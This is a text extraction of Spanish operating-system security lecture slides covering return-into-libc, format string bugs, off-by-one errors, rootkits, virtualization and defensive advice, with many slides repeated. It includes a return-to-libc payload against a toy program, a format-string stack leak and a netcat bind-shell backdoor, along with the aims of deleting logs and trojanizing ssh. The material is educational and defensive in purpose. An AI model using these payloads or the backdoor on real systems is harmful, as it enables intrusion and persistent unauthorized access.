  • 20. Seguridad en Sistemas Operativos “Return-into-libc“ Explotaci´on Ejemplo (return2libc.c) #include <stdio.h> #include <string.h> void func(char *a) { char b[5]; strcpy(b, a); } int main(int argc, char *argv[]) { func(argv[1]); return 0; } Jacobo Avariento Seguridad en Sistemas Operativos
  • 21. Seguridad en Sistemas Operativos “Return-into-libc“ Explotaci´on Ejemplo $ ./return2libc $(perl -e ’ printf "A" x 17 . # Relleno "x70x43xeaxb7" . # Dir. de exit() "x41x41x41x41" . # Dir. de retorno (~ pop %eip) "x23" # 1er argumento ’) $ echo $? 35 $ ./return2libc $(perl -e ’ printf "A" x 17 . # Relleno "x20xeaxeaxb7" . # Dir de system() "x70x43xeaxb7" . # Dir. de retorno (exit) "x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 22. Seguridad en Sistemas Operativos “Return-into-libc“ Explotaci´on Ejemplo $ ./return2libc $(perl -e ’ printf "A" x 17 . # Relleno "x70x43xeaxb7" . # Dir. de exit() "x41x41x41x41" . # Dir. de retorno (~ pop %eip) "x23" # 1er argumento ’) $ echo $? 35 $ ./return2libc $(perl -e ’ printf "A" x 17 . # Relleno "x20xeaxeaxb7" . # Dir de system() "x70x43xeaxb7" . # Dir. de retorno (exit) "x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 23. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Vulnerabilidades de formateo de cadena “Format String” Jacobo Avariento Seguridad en Sistemas Operativos
  • 24. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Intro Cadenas de formato en C int printf(const char * format, ...); %s: cadena %d: entero %o: base octal %x: base hexadecimal %c: caracter % %: s´ımbolo % Jacobo Avariento Seguridad en Sistemas Operativos
  • 25. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Intro Cadenas de formato en C int printf(const char * format, ...); %s: cadena %d: entero %o: base octal %x: base hexadecimal %c: caracter % %: s´ımbolo % Jacobo Avariento Seguridad en Sistemas Operativos
  • 26. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Intro Cadenas de formato en C int printf(const char * format, ...); %n: Escribe en la variable apuntada el # de caracteres le´ıdos Fichero show formatstring0.c: int main() { int a; printf("Hola%nn", &a); printf("Caracteres leidos: %dn", a); return 0; } Salida: Hola Caracteres leidos: 4 Jacobo Avariento Seguridad en Sistemas Operativos
  • 27. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Intro Cadenas de formato en C int printf(const char * format, ...); %n: Escribe en la variable apuntada el # de caracteres le´ıdos Fichero show formatstring0.c: int main() { int a; printf("Hola%nn", &a); printf("Caracteres leidos: %dn", a); return 0; } Salida: Hola Caracteres leidos: 4 Jacobo Avariento Seguridad en Sistemas Operativos
  • 28. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Intro Cadenas de formato en C int printf(const char * format, ...); %n: Escribe en la variable apuntada el # de caracteres le´ıdos Fichero show formatstring0.c: int main() { int a; printf("Hola%nn", &a); printf("Caracteres leidos: %dn", a); return 0; } Salida: Hola Caracteres leidos: 4 Jacobo Avariento Seguridad en Sistemas Operativos
  • 29. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Vulnerabilidad C´odigo MUY vulnerable Fichero vuln fs.c: int main() { char user_input[512]; gets(user_input); printf(user_input); } Salida: $ ./vuln_fs hola hola$ Jacobo Avariento Seguridad en Sistemas Operativos
  • 30. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Vulnerabilidad C´odigo MUY vulnerable Fichero vuln fs.c: int main() { char user_input[512]; gets(user_input); printf(user_input); } Salida: $ ./vuln_fs hola hola$ Jacobo Avariento Seguridad en Sistemas Operativos
  • 31. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Explotaci´on Otra ejecuci´on }:-) $ ./vuln_fs %x%x%x%x 1b7fff280b7fe245078257825$ Jacobo Avariento Seguridad en Sistemas Operativos
  • 32. Seguridad en Sistemas Operativos Vulnerabilidades de formateo de cadena Explotaci´on Consideraciones para el ataque Control total sobre la pila, y en consecuencia sobre el flujo del programa Con varios %x podemos desapilar y llegar hasta el EIP Con %An %An %An %An podemos sobreescribir punteros Opciones: EIP, punteros a funci´on, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 33. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” T´ecnica “off-by-one“ Upps... por uno :( Jacobo Avariento Seguridad en Sistemas Operativos
  • 34. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Intro Ejemplo C´odigo VULNERABLE char buffer[256]; int i; for (i=0; i<= 256; i++) buffer[i]= i; Jacobo Avariento Seguridad en Sistemas Operativos
  • 35. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Explotaci´on Consideraciones para el ataque S´ı. . . por un byte tambi´en podemos controlar el flujo del programa T´ecnica dif´ıcil de aplicar in-the-wild, pero posible Aunque el programa sea vulnerable no siempre se puede explotar: Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos) Dependiente del layout de la pila, de la versi´on del compilador, de la versi´on del kernel, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 36. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Explotaci´on Consideraciones para el ataque S´ı. . . por un byte tambi´en podemos controlar el flujo del programa T´ecnica dif´ıcil de aplicar in-the-wild, pero posible Aunque el programa sea vulnerable no siempre se puede explotar: Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos) Dependiente del layout de la pila, de la versi´on del compilador, de la versi´on del kernel, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 37. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Explotaci´on Consideraciones para el ataque S´ı. . . por un byte tambi´en podemos controlar el flujo del programa T´ecnica dif´ıcil de aplicar in-the-wild, pero posible Aunque el programa sea vulnerable no siempre se puede explotar: Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos) Dependiente del layout de la pila, de la versi´on del compilador, de la versi´on del kernel, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 38. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Explotaci´on Consideraciones para el ataque S´ı. . . por un byte tambi´en podemos controlar el flujo del programa T´ecnica dif´ıcil de aplicar in-the-wild, pero posible Aunque el programa sea vulnerable no siempre se puede explotar: Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos) Dependiente del layout de la pila, de la versi´on del compilador, de la versi´on del kernel, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 39. Seguridad en Sistemas Operativos T´ecnica ”off-by-one” Explotaci´on Consideraciones para el ataque S´ı. . . por un byte tambi´en podemos controlar el flujo del programa T´ecnica dif´ıcil de aplicar in-the-wild, pero posible Aunque el programa sea vulnerable no siempre se puede explotar: Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos) Dependiente del layout de la pila, de la versi´on del compilador, de la versi´on del kernel, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 40. Seguridad en Sistemas Operativos Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 41. Seguridad en Sistemas Operativos Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on Ya hemos visto las t´ecnicas cl´asicas, pero NO est´an obsoletas: Estas t´ecnicas NO s´olo sirven para explotar programas en C/C++. Los int´erpretes m´as comunes (Python, PHP, Java, . . . ) tambi´en son propensos a ataques desde los programas interpretados Ejemplo extremo: desde un v´ıdeo flash se puede inyectar c´odigo m´aquina (JIT Spraying: http://www.youtube.com/watch?v=HJuBpciJ3Ao) Jacobo Avariento Seguridad en Sistemas Operativos
  • 42. Seguridad en Sistemas Operativos Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on ~$ ldd $(which java) linux-gate.so.1 => (0xb783a000) libpthread.so.0 => /lib/libpthread.so.0 (0xb77f2000) libjli.so => /opt/java/jre/bin/../lib/i386/jli/libjli.so (0xb77e9000) libdl.so.2 => /lib/libdl.so.2 (0xb77e5000) libc.so.6 => /lib/libc.so.6 (0xb7699000) /lib/ld-linux.so.2 (0xb783b000) ~$ ls -la /lib/libc.so.6 lrwxrwxrwx 1 root root 14 16. Apr 12:24 /lib/libc.so.6 -> libc-2.11.1.so ~$ ls -la /lib/libc-2.11.1.so -rwxr-xr-x 1 root root 1558827 16. Apr 12:24 /lib/libc-2.11.1.so Jacobo Avariento Seguridad en Sistemas Operativos
  • 43. Seguridad en Sistemas Operativos r00tkits r00tkits, backdoors, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 44. Seguridad en Sistemas Operativos r00tkits Intro Ya hemos usado una de las t´ecnicas de explotaci´on vistas y somos root =D Ahora qu´e? Borrar rastro y asegurarnos la entrada. C´omo? Usando r00tkits (backdoors, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 45. Seguridad en Sistemas Operativos r00tkits Intro Ya hemos usado una de las t´ecnicas de explotaci´on vistas y somos root =D Ahora qu´e? Borrar rastro y asegurarnos la entrada. C´omo? Usando r00tkits (backdoors, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 46. Seguridad en Sistemas Operativos r00tkits Intro Ya hemos usado una de las t´ecnicas de explotaci´on vistas y somos root =D Ahora qu´e? Borrar rastro y asegurarnos la entrada. C´omo? Usando r00tkits (backdoors, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 47. Seguridad en Sistemas Operativos r00tkits Intro Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash En general queremos: Borrar logs Asegurar el acceso shell (troyanizar ssh, . . . ) Ocultar actividad (p. ej: xhide, argv fake, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 48. Seguridad en Sistemas Operativos r00tkits Intro Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash En general queremos: Borrar logs Asegurar el acceso shell (troyanizar ssh, . . . ) Ocultar actividad (p. ej: xhide, argv fake, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 49. Seguridad en Sistemas Operativos r00tkits Intro Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash En general queremos: Borrar logs Asegurar el acceso shell (troyanizar ssh, . . . ) Ocultar actividad (p. ej: xhide, argv fake, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 50. Seguridad en Sistemas Operativos r00tkits Intro Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash En general queremos: Borrar logs Asegurar el acceso shell (troyanizar ssh, . . . ) Ocultar actividad (p. ej: xhide, argv fake, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 51. Seguridad en Sistemas Operativos r00tkits Intro Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash En general queremos: Borrar logs Asegurar el acceso shell (troyanizar ssh, . . . ) Ocultar actividad (p. ej: xhide, argv fake, . . . ) Jacobo Avariento Seguridad en Sistemas Operativos
  • 52. Seguridad en Sistemas Operativos r00tkits Explotaci´on M´etodos de troyanizaci´on en GNU/Linux: Kernel v2.4 ⇒ extern syscall table[] Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem Ejemplo: SucKIT (Phrack #58 0x07) M´etodos de troyanizaci´on en Windows: HackerDefender, Idea: ”Blue Pill“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 53. Seguridad en Sistemas Operativos r00tkits Explotaci´on M´etodos de troyanizaci´on en GNU/Linux: Kernel v2.4 ⇒ extern syscall table[] Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem Ejemplo: SucKIT (Phrack #58 0x07) M´etodos de troyanizaci´on en Windows: HackerDefender, Idea: ”Blue Pill“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 54. Seguridad en Sistemas Operativos r00tkits Explotaci´on M´etodos de troyanizaci´on en GNU/Linux: Kernel v2.4 ⇒ extern syscall table[] Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem Ejemplo: SucKIT (Phrack #58 0x07) M´etodos de troyanizaci´on en Windows: HackerDefender, Idea: ”Blue Pill“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 55. Seguridad en Sistemas Operativos r00tkits Explotaci´on M´etodos de troyanizaci´on en GNU/Linux: Kernel v2.4 ⇒ extern syscall table[] Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem Ejemplo: SucKIT (Phrack #58 0x07) M´etodos de troyanizaci´on en Windows: HackerDefender, Idea: ”Blue Pill“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 56. Seguridad en Sistemas Operativos r00tkits Explotaci´on Red or blue pill... Jacobo Avariento Seguridad en Sistemas Operativos
  • 57. Seguridad en Sistemas Operativos r00tkits Defensa Detectores y neutralizadores de r00tkits En Win: RootkitRevealer http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels) + no usar LKM Jacobo Avariento Seguridad en Sistemas Operativos
  • 58. Seguridad en Sistemas Operativos r00tkits Defensa Detectores y neutralizadores de r00tkits En Win: RootkitRevealer http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels) + no usar LKM Jacobo Avariento Seguridad en Sistemas Operativos
  • 59. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 60. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 61. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 62. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 63. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 64. Seguridad en Sistemas Operativos r00tkits Defensa Otros m´etodos generales Parches para el n´ucleo (Kernel): mprotect(), mlock(), man capabilities SELinux by NSA. Integrado en el Kernel 2.6. Grsecurity A nivel de aplicaci´on: Sandboxes, isolaci´on de procesos, chroot, . . . A nivel de la m´aquina Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 65. Seguridad en Sistemas Operativos r00tkits Defensa Arquitectura de SELinux Jacobo Avariento Seguridad en Sistemas Operativos
  • 66. Seguridad en Sistemas Operativos Virtualizaci´on Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 67. Seguridad en Sistemas Operativos Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 68. Seguridad en Sistemas Operativos Virtualizaci´on Intro Arquitectura cl´asica: HW + n´ucleo + SW Arquitectura virtualizada: HW + hipervisor (n´ucleo) + maquinavirtual × n + SW Ejemplos: VirtualBox, Xen, WMware, Qubes, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 69. Seguridad en Sistemas Operativos Virtualizaci´on Intro Arquitectura cl´asica: HW + n´ucleo + SW Arquitectura virtualizada: HW + hipervisor (n´ucleo) + maquinavirtual × n + SW Ejemplos: VirtualBox, Xen, WMware, Qubes, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 70. Seguridad en Sistemas Operativos Virtualizaci´on Intro Arquitectura cl´asica: HW + n´ucleo + SW Arquitectura virtualizada: HW + hipervisor (n´ucleo) + maquinavirtual × n + SW Ejemplos: VirtualBox, Xen, WMware, Qubes, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 71. Seguridad en Sistemas Operativos Virtualizaci´on Arquitectura de Qubes Jacobo Avariento Seguridad en Sistemas Operativos
  • 72. Seguridad en Sistemas Operativos Virtualizaci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 73. Seguridad en Sistemas Operativos Virtualizaci´on Defensa La virtualizaci´on parece la soluci´on definitiva :-) NO!! Bugs en la CPU :-( Jacobo Avariento Seguridad en Sistemas Operativos
  • 74. Seguridad en Sistemas Operativos Virtualizaci´on Defensa La virtualizaci´on parece la soluci´on definitiva :-) NO!! Bugs en la CPU :-( Jacobo Avariento Seguridad en Sistemas Operativos
  • 75. Seguridad en Sistemas Operativos Defensa: Consejos generales Defensa: Consejos generales Jacobo Avariento Seguridad en Sistemas Operativos
  • 76. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 77. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 78. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 79. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 80. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 81. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 82. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo programador. . . NUNCA confies en el usuario SIEMPRE filtra bien la entrada del usuario En general, deniega toda entrada y acepta solo lo v´alida, no al contrario! Aplica el m´etodo del menor privilegio Entender bien las cosas ayuda a no hacer errores y a la seguridad Cu´antas m´as LDC y complejidad, m´as bugs Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 83. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 84. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 85. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 86. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 87. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 88. Seguridad en Sistemas Operativos Defensa: Consejos generales Siendo usuario final. . . Ten siempre actualizado tu S.O. Ay´udate de las herramientas disponibles: ASLR, NX, heap randomization, . . . Cuidado con el SW que te instalas. Est´a firmado? Viene del sitio oficial? Usa herramientas que te ayuden a detectar anomalias: integridad de ficheros, detector de r00tkits, . . . Haz copias de seguridad peri´odicas. (Sobre todo en la empresa!) . . . En general, hay S.O.’s m´as seguros que otros ;-) Jacobo Avariento Seguridad en Sistemas Operativos
  • 89. Seguridad en Sistemas Operativos Defensa: Consejos generales Fin de la sesi´on exit(EXIT SUCCESS); Jacobo Avariento Seguridad en Sistemas Operativos
  • 90. Seguridad en Sistemas Operativos Defensa: Consejos generales (C) and references: http://www.flickr.com/photos/littlegirllost1/1489744918/ http://www.ibm.com/developerworks/linux/library/l-selinux/ http://qubes-os.org/Home.html Jacobo Avariento Seguridad en Sistemas Operativos